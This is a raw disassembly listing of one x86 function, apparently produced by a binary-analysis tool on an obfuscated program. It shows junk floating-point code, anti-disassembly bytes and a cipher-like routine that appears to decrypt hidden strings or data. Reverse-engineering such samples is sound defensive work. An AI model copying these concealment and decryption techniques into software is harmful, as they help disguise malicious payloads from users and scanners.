Function at 0x514243
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x99f10e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x10e4
call fcn.00938960
push ebx
push esi
push edi
mov byte [ebp - 0x245], 0
xor eax, eax
mov word [ebp - 0x214], ax
push 0x206
push 0
lea eax, [ebp - 0x212]
push eax
call fcn.00937030
add esp, 0xc
and dword [ebp - 0x22c], 0
and dword [ebp - 0x230], 0
fldz
fstp qword [ebp - 0x244]
fldz
fstp qword [ebp - 0x23c]
fldz
fstp qword [ebp - 0x23c]
jmp 0x5142c8
fld qword [ebp - 0x23c]
fadd qword [0x9a2310]
fstp qword [ebp - 0x23c]
fld qword [0x9a2c28]
fcomp qword [ebp - 0x23c]
fnstsw ax
test ah, 0x41
jne 0x514351
fld qword [0x9a2c20]
fmul qword [ebp - 0x23c]
fmul qword [ebp - 0x23c]
fld qword [ebp - 0x23c]
fmul qword [ebp - 0x23c]
fsubp st(1)
fld qword [0x9a2c18]
fmul qword [ebp - 0x23c]
fmul qword [ebp - 0x23c]
fadd qword [0x9a2c10]
fdivp st(1)
fadd qword [ebp - 0x244]
fstp qword [ebp - 0x244]
fld qword [0x9a2c08]
fcomp qword [ebp - 0x244]
fnstsw ax
test ah, 5
jp 0x51434c
fld qword [0x9a2c00]
fmul qword [ebp - 0x23c]
fsubr qword [ebp - 0x244]
fstp qword [ebp - 0x244]
jmp 0x5142b6
fldz
fcomp qword [ebp - 0x244]
fnstsw ax
test ah, 0x41
jne 0x5143a6
sub bh, byte [edi]
sub eax, 0x224d673d
aas
imul eax, dword [ecx + 0x51], 0x51
jl 0x5143de
push 0x48
push ebx
push 0x3e4c3f2c
pop esi
and ch, byte [edx + esi*2 + 0x74]
jne 0x5143ea
jbe 0x5143f7
js 0x5143ee
ja 0x5143f5
jns 0x5143fc
jp 0x5143f7
jo 0x5143fd
jb 0x5143fc
jno 0x5143f9
jbe 0x514403
outsd dx, dword [esi]
outsb dx, byte [esi]
jno 0x514402
js 0x514400
outsd dx, dword [esi]
outsd dx, dword [esi]
insd dword es:[edi], dx
push 0x76
jno 0x514411
jno 0x514417
insb byte es:[edi], dx
jmp 0x516819
mov dword [ebp - 0x22c], 0x51437b
mov dword [ebp - 0x230], 0x514360
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x24c], eax
mov byte [ebp - 0x36d], 0x1f
and dword [ebp - 0x364], 0
inc dword [eax]
jmp 0x5143ef
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
test dword [esp + edi*8 - 0x427e0001], ebx
pushfd
cld
invalid
inc dword [ecx - 0x36343]
inc dword [eax]
add dword [eax], eax
add byte [ebx + 0x15], dh
cmp dword [ebp - 0x364], 0x100
add byte [ecx], al
add byte [eax], al
jae 0x514410
mov eax, dword [ebp - 0x364]
mov cl, byte [ebp - 0x364]
mov byte [ebp + eax - 0x35c], cl
test dword [esp + edi*8 - 0x72750001], ebx
pushfd
cld
invalid
dec dword [edx - 0x36373]
dec dword [eax - 0x35bfa74]
invalid
lea ebx, [esp + edi*8 - 0x73770001]
add eax, 0xfffffca4
pushfd
cld
invalid
jmp 0x5143e2
and dword [ebp - 0x254], 0
movsd dword es:[edi], dword [esi]
lodsb al, byte [esi]
std
invalid
mov byte [ebp - 0x36e], 0
mov dword [ebp - 0x364], 0xff
jmp 0x514437
mov eax, dword [ebp - 0x364]
dec eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0
jbe 0x514a36
and dword [ebp - 0x374], 0
mov dword [ebp - 0x37c], 1
mov eax, dword [ebp - 0x37c]
cmp eax, dword [ebp - 0x364]
jae 0x514475
mov eax, dword [ebp - 0x37c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x37c], eax
jmp 0x514455
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x109c], eax
mov eax, dword [ebp - 0x109c]
mov dword [ebp - 0x10a0], eax
cmp dword [ebp - 0x10a0], 0
je 0x5144ba
sub dword [ebp - 0x10a0], 1
je 0x5144e6
sub dword [ebp - 0x10a0], 1
je 0x514512
sub dword [ebp - 0x10a0], 1
je 0x51453e
jmp 0x51456a
movzx eax, byte [ebp - 0x36e]
movzx ebx, byte [ebp + eax - 0x35c]
fld qword [ebp - 0x244]
call fcn.00938626
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36e], bl
jmp 0x514591
movzx eax, byte [ebp - 0x36e]
movzx ebx, byte [ebp + eax - 0x35c]
fld qword [ebp - 0x244]
call fcn.00938626
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36e], bl
jmp 0x514591
movzx eax, byte [ebp - 0x36e]
movzx ebx, byte [ebp + eax - 0x35c]
fld qword [ebp - 0x244]
call fcn.00938626
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36e], bl
jmp 0x514591
movzx eax, byte [ebp - 0x36e]
movzx ebx, byte [ebp + eax - 0x35c]
fld qword [ebp - 0x244]
call fcn.00938626
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36e], bl
jmp 0x514591
movzx eax, byte [ebp - 0x36e]
movzx eax, byte [ebp + eax - 0x35c]
mov ecx, dword [ebp - 0x24c]
add ecx, dword [ebp - 0x254]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x36e], al
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
movzx eax, byte [ebp - 0x36d]
cmp dword [ebp - 0x254], eax
jb 0x51494f
fld dword [0x9a2bf8]
fstp dword [ebp - 0x398]
fld dword [0x9a2bf4]
fstp dword [ebp - 0x384]
fld dword [0x9a2bf0]
fstp dword [ebp - 0x38c]
fld dword [0x9a2bec]
fstp dword [ebp - 0x390]
fld dword [0x9a2be8]
fstp dword [ebp - 0x394]
fld dword [0x9a2be4]
fstp dword [ebp - 0x380]
fld dword [0x9a2be0]
fstp dword [ebp - 0x388]
fld dword [ebp - 0x380]
fmul dword [ebp - 0x388]
fstp dword [ebp - 0x380]
fld dword [ebp - 0x394]
fmul dword [ebp - 0x388]
fstp dword [ebp - 0x394]
fld dword [ebp - 0x380]
fadd dword [ebp - 0x388]
fstp dword [ebp - 0x380]
fld dword [ebp - 0x380]
fsub dword [ebp - 0x388]
fstp dword [ebp - 0x380]
fld dword [ebp - 0x384]
fmul dword [ebp - 0x388]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x38c]
fsub dword [ebp - 0x388]
fstp dword [ebp - 0x38c]
fld dword [ebp - 0x384]
fsub dword [ebp - 0x388]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x388]
fld dword [ebp - 0x384]
fcompp
fnstsw ax
test ah, 5
jp 0x5148b4
fld dword [ebp - 0x398]
fsub dword [ebp - 0x38c]
fstp dword [ebp - 0x398]
fld dword [ebp - 0x384]
fmul dword [ebp - 0x390]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x384]
fdiv dword [ebp - 0x390]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x398]
fsub dword [ebp - 0x38c]
fstp dword [ebp - 0x398]
fld dword [ebp - 0x390]
fsub dword [ebp - 0x380]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x398]
fdiv dword [ebp - 0x38c]
fstp dword [ebp - 0x398]
fld dword [ebp - 0x390]
fdiv dword [ebp - 0x380]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x390]
fsub dword [ebp - 0x380]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x390]
fmul dword [ebp - 0x380]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x384]
fdiv dword [ebp - 0x390]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x384]
fdiv dword [ebp - 0x390]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x380]
fadd dword [ebp - 0x398]
fstp dword [ebp - 0x380]
fld dword [ebp - 0x388]
fdiv dword [ebp - 0x384]
fstp dword [ebp - 0x388]
fld dword [ebp - 0x384]
fmul dword [ebp - 0x390]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x394]
fld dword [ebp - 0x388]
fcompp
fnstsw ax
test ah, 5
jp 0x514831
fld dword [ebp - 0x394]
fmul dword [ebp - 0x388]
fstp dword [ebp - 0x394]
fld dword [ebp - 0x380]
fdiv dword [ebp - 0x398]
fstp dword [ebp - 0x380]
fld dword [ebp - 0x390]
fmul dword [ebp - 0x380]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x388]
fsub dword [ebp - 0x384]
fstp dword [ebp - 0x388]
fld dword [ebp - 0x390]
fdiv dword [ebp - 0x380]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x384]
fsub dword [ebp - 0x390]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x388]
fmul dword [ebp - 0x384]
fstp dword [ebp - 0x388]
jmp 0x5148af
fld dword [ebp - 0x38c]
fsub dword [ebp - 0x394]
fstp dword [ebp - 0x38c]
fld dword [ebp - 0x388]
fadd dword [ebp - 0x384]
fstp dword [ebp - 0x388]
fld dword [ebp - 0x380]
fadd dword [ebp - 0x398]
fstp dword [ebp - 0x380]
fld dword [ebp - 0x390]
fadd dword [ebp - 0x380]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x384]
fsub dword [ebp - 0x390]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x390]
fadd dword [ebp - 0x380]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x398]
fsub dword [ebp - 0x38c]
fstp dword [ebp - 0x398]
jmp 0x514939
fld dword [ebp - 0x384]
fmul dword [ebp - 0x38c]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x380]
fsub dword [ebp - 0x388]
fstp dword [ebp - 0x380]
fld dword [ebp - 0x398]
fadd dword [ebp - 0x384]
fstp dword [ebp - 0x398]
fld dword [ebp - 0x384]
fadd dword [ebp - 0x38c]
fstp dword [ebp - 0x384]
fld dword [ebp - 0x390]
fsub dword [ebp - 0x394]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x388]
fadd dword [ebp - 0x398]
fstp dword [ebp - 0x388]
fld dword [ebp - 0x384]
fsub dword [ebp - 0x38c]
fstp dword [ebp - 0x384]
and dword [ebp - 0x254], 0
movzx eax, byte [ebp - 0x36d]
movzx ecx, byte [ebp - 0x36e]
add ecx, eax
mov byte [ebp - 0x36e], cl
movzx eax, byte [ebp - 0x36e]
and eax, dword [ebp - 0x37c]
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0xb
jbe 0x51498c
mov eax, dword [ebp - 0x378]
xor edx, edx
div dword [ebp - 0x364]
mov dword [ebp - 0x378], edx
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x364]
ja 0x514475
mov eax, dword [ebp - 0x364]
cmp eax, dword [ebp - 0x378]
je 0x514a31
mov eax, dword [ebp - 0x378]
movzx eax, byte [ebp + eax - 0x35c]
mov ecx, dword [ebp - 0x364]
movzx ecx, byte [ebp + ecx - 0x35c]
xor ecx, eax
mov eax, dword [ebp - 0x364]
mov byte [ebp + eax - 0x35c], cl
mov eax, dword [ebp - 0x364]
movzx eax, byte [ebp + eax - 0x35c]
mov ecx, dword [ebp - 0x378]
movzx ecx, byte [ebp + ecx - 0x35c]
xor ecx, eax
mov eax, dword [ebp - 0x378]
mov byte [ebp + eax - 0x35c], cl
mov eax, dword [ebp - 0x378]
movzx eax, byte [ebp + eax - 0x35c]
mov ecx, dword [ebp - 0x364]
movzx ecx, byte [ebp + ecx - 0x35c]
xor ecx, eax
mov eax, dword [ebp - 0x364]
mov byte [ebp + eax - 0x35c], cl
jmp 0x51442a
mov al, byte [ebp - 0x35b]
mov byte [ebp - 0x36f], al
mov al, byte [ebp - 0x359]
mov byte [ebp - 0x255], al
mov al, byte [ebp - 0x357]
mov byte [ebp - 0x35d], al
mov al, byte [ebp - 0x355]
mov byte [ebp - 0x365], al
movzx eax, byte [ebp - 0x36e]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x246], al
mov dword [ebp - 0x36c], 0x26
cmp dword [ebp - 0x36c], 2
jle 0x5167ea
mov eax, dword [ebp - 0x36c]
and eax, 1
jne 0x5167ea
and dword [ebp - 0x420], 0
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x420]
shl eax, 1
mov dword [ebp - 0x39c], eax
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x39c]
movzx eax, byte [eax]
add eax, dword [ebp - 0x43c]
mov dword [ebp - 0x43c], eax
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x3d8]
add eax, 0x6c
mov dword [ebp - 0x3d8], eax
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x420]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3ec], eax
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
add eax, dword [ebp - 0x464]
mov dword [ebp - 0x464], eax
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x438]
add eax, 0x67
mov dword [ebp - 0x438], eax
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x3d8]
add eax, dword [ebp - 0x460]
mov dword [ebp - 0x460], eax
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x438]
add eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x3b0], eax
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x460]
shl eax, 4
mov dword [ebp - 0x45c], eax
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x434], eax
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x45c]
or eax, dword [ebp - 0x434]
mov dword [ebp - 0x418], eax
mov byte [ebp - 0x3e5], 0
mov al, byte [ebp - 0x418]
mov byte [ebp - 0x3e5], al
mov byte [ebp - 0x455], 0
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x455], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x455]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x455]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3e5]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3e5]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x42d], al
cmp dword [ebp - 0x420], 0
jle 0x514d71
mov eax, dword [ebp - 0x420]
mov cl, byte [ebp - 0x42d]
mov byte [ebp + eax - 0x229], cl
fld qword [0x9a2bd8]
fstp qword [ebp - 0x3d4]
fld qword [0x9a2bd0]
fstp qword [ebp - 0x404]
fld qword [0x9a2bc8]
fstp qword [ebp - 0x42c]
fld qword [0x9a2bc0]
fstp qword [ebp - 0x3ac]
fld qword [0x9a2bb8]
fstp qword [ebp - 0x3cc]
fld qword [0x9a2bb0]
fstp qword [ebp - 0x3fc]
fld qword [ebp - 0x3d4]
fadd qword [ebp - 0x3fc]
fstp qword [ebp - 0x3d4]
fld qword [ebp - 0x404]
fsub qword [ebp - 0x3fc]
fstp qword [ebp - 0x404]
fld qword [ebp - 0x3ac]
fmul qword [ebp - 0x3fc]
fstp qword [ebp - 0x3ac]
fld qword [ebp - 0x3ac]
fadd qword [ebp - 0x3fc]
fstp qword [ebp - 0x3ac]
fld qword [ebp - 0x3cc]
fadd qword [ebp - 0x3fc]
fstp qword [ebp - 0x3cc]
fld qword [ebp - 0x3cc]
fmul qword [ebp - 0x3fc]
fstp qword [ebp - 0x3cc]
fld qword [ebp - 0x3ac]
fcomp qword [ebp - 0x3fc]
fnstsw ax
test ah, 0x41
jne 0x514eb3
fld qword [ebp - 0x404]
fsub qword [ebp - 0x3ac]
fstp qword [ebp - 0x404]
fld qword [ebp - 0x3cc]
fadd qword [ebp - 0x3d4]
fstp qword [ebp - 0x3cc]
fld qword [ebp - 0x3cc]
fsub qword [ebp - 0x3d4]
fstp qword [ebp - 0x3cc]
fld qword [ebp - 0x404]
fsub qword [ebp - 0x3ac]
fstp qword [ebp - 0x404]
fld qword [ebp - 0x3cc]
fadd qword [ebp - 0x3d4]
fstp qword [ebp - 0x3cc]
fld qword [ebp - 0x3ac]
fmul qword [ebp - 0x3fc]
fstp qword [ebp - 0x3ac]
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
jmp 0x514f1f
fld qword [ebp - 0x3ac]
fsub qword [ebp - 0x3cc]
fstp qword [ebp - 0x3ac]
fld qword [ebp - 0x3ac]
fadd qword [ebp - 0x3cc]
fstp qword [ebp - 0x3ac]
fld qword [ebp - 0x3fc]
fdiv qword [ebp - 0x3d4]
fstp qword [ebp - 0x3fc]
fld qword [ebp - 0x404]
fadd qword [ebp - 0x42c]
fstp qword [ebp - 0x404]
fld qword [ebp - 0x3ac]
fmul qword [ebp - 0x3cc]
fstp qword [ebp - 0x3ac]
fld qword [ebp - 0x42c]
fsub qword [ebp - 0x3ac]
fstp qword [ebp - 0x42c]
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x420]
shl eax, 1
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x39c]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x3d8], 0x6c
mov eax, dword [ebp - 0x420]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x438], 0x67
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x438]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x460]
shl eax, 4
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x45c]
or eax, dword [ebp - 0x434]
mov dword [ebp - 0x418], eax
mov al, byte [ebp - 0x418]
mov byte [ebp - 0x3e5], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x455], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x455]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x455]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3e5]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3e5]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x42d], al
cmp dword [ebp - 0x420], 0
jle 0x515165
mov eax, dword [ebp - 0x420]
mov cl, byte [ebp - 0x42d]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x420]
shl eax, 1
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x39c]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x3d8], 0x6c
mov eax, dword [ebp - 0x420]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x438], 0x67
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x438]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x460]
shl eax, 4
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x45c]
or eax, dword [ebp - 0x434]
mov dword [ebp - 0x418], eax
fld dword [0x9a2bac]
fstp dword [ebp - 0x424]
fld dword [0x9a2ba8]
fstp dword [ebp - 0x3a0]
fld dword [0x9a2ba4]
fstp dword [ebp - 0x3c0]
fld dword [0x9a2ba0]
fstp dword [ebp - 0x3f0]
fld dword [ebp - 0x3c0]
fmul dword [ebp - 0x3f0]
fstp dword [ebp - 0x3c0]
fld dword [ebp - 0x424]
fsub dword [ebp - 0x3f0]
fstp dword [ebp - 0x424]
fld dword [ebp - 0x3a0]
fsub dword [ebp - 0x3f0]
fstp dword [ebp - 0x3a0]
fld dword [ebp - 0x3c0]
fadd dword [ebp - 0x3f0]
fstp dword [ebp - 0x3c0]
fld dword [ebp - 0x3c0]
fld dword [ebp - 0x3f0]
fcompp
fnstsw ax
test ah, 5
jp 0x51530f
fld dword [ebp - 0x3c0]
fsub dword [ebp - 0x3f0]
fstp dword [ebp - 0x3c0]
fld dword [ebp - 0x3f0]
fmul dword [ebp - 0x424]
fstp dword [ebp - 0x3f0]
fld dword [ebp - 0x424]
fmul dword [ebp - 0x3a0]
fstp dword [ebp - 0x424]
fld dword [ebp - 0x3a0]
fmul dword [ebp - 0x3c0]
fstp dword [ebp - 0x3a0]
mov al, byte [ebp - 0x418]
mov byte [ebp - 0x3e5], al
jmp 0x515357
fld dword [ebp - 0x3f0]
fdiv dword [ebp - 0x3a0]
fstp dword [ebp - 0x3f0]
fld dword [ebp - 0x3c0]
fsub dword [ebp - 0x424]
fstp dword [ebp - 0x3c0]
fld dword [ebp - 0x3c0]
fdiv dword [ebp - 0x424]
fstp dword [ebp - 0x3c0]
fld dword [ebp - 0x3a0]
fadd dword [ebp - 0x3f0]
fstp dword [ebp - 0x3a0]
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x455], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x455]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x455]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3e5]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3e5]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x42d], al
cmp dword [ebp - 0x420], 0
jle 0x5154d7
mov eax, dword [ebp - 0x420]
mov cl, byte [ebp - 0x42d]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x41c]
add eax, 6
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x468], eax
jmp 0x515502
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x468]
cmp eax, dword [ebp - 0x41c]
jge 0x515a21
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x420]
shl eax, 1
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x39c]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x3d8], 0x6c
mov eax, dword [ebp - 0x420]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x438], 0x67
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x438]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x460]
shl eax, 4
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x45c]
or eax, dword [ebp - 0x434]
mov dword [ebp - 0x418], eax
fld dword [0x9a2b9c]
fstp dword [ebp - 0x47c]
fld dword [0x9a2b98]
fstp dword [ebp - 0x488]
fld dword [0x9a2b94]
fstp dword [ebp - 0x490]
fld dword [0x9a2b90]
fstp dword [ebp - 0x470]
fld dword [0x9a2b8c]
fstp dword [ebp - 0x478]
fld dword [0x9a2b88]
fstp dword [ebp - 0x484]
fld dword [ebp - 0x488]
fadd dword [ebp - 0x484]
fstp dword [ebp - 0x488]
fld dword [ebp - 0x488]
fadd dword [ebp - 0x484]
fstp dword [ebp - 0x488]
fld dword [ebp - 0x478]
fsub dword [ebp - 0x484]
fstp dword [ebp - 0x478]
fld dword [ebp - 0x488]
fsub dword [ebp - 0x484]
fstp dword [ebp - 0x488]
